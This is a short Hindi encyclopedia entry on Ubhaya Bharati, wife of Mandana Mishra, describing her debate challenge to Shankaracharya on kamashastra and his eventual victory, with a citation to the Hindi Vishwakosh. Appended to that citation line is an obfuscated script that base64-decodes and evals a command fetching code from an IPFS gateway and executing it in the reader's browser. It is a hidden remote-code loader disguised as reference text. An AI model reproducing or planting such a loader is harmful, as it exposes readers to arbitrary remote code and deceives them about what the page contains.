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उभयभारती

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उभयभारती मंडन मिश्र की पत्नी। इनके शारदा तथा सरसवाणी नाम भी मिलते हैं। अपनी दिग्विजय यात्रा के बीच शंकराचार्य मिथिला पहुँचे और वहाँ उन्होंने शास्त्रार्थ में मंडन मिश्र को पराजित कर दिया। इसपर मंडन मिश्र की भार्या उभयभारती ने शंकराचार्य को कामशास्त्र पर शास्त्रार्थ करने के लिए ललकारा। शंकराचार्य उस समय तक कामशास्त्र के बारे में कुछ भी नहीं जानते थे। अत: तत्काल वे उभयभारती की चुनौती स्वीकार न कर सके। पश्चात्‌ कामशास्त्र का सम्यक्‌ अध्ययन करने के उपरांत उन्होंने उभयभारती से शास्त्रार्थ किया और उन्हें पराजित भी किया। परिणामस्वरूप मंडन मिश्र और उनकी पत्नी दोनों को ही शंकराचार्य का अनुयायी बनना पड़ा।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 128 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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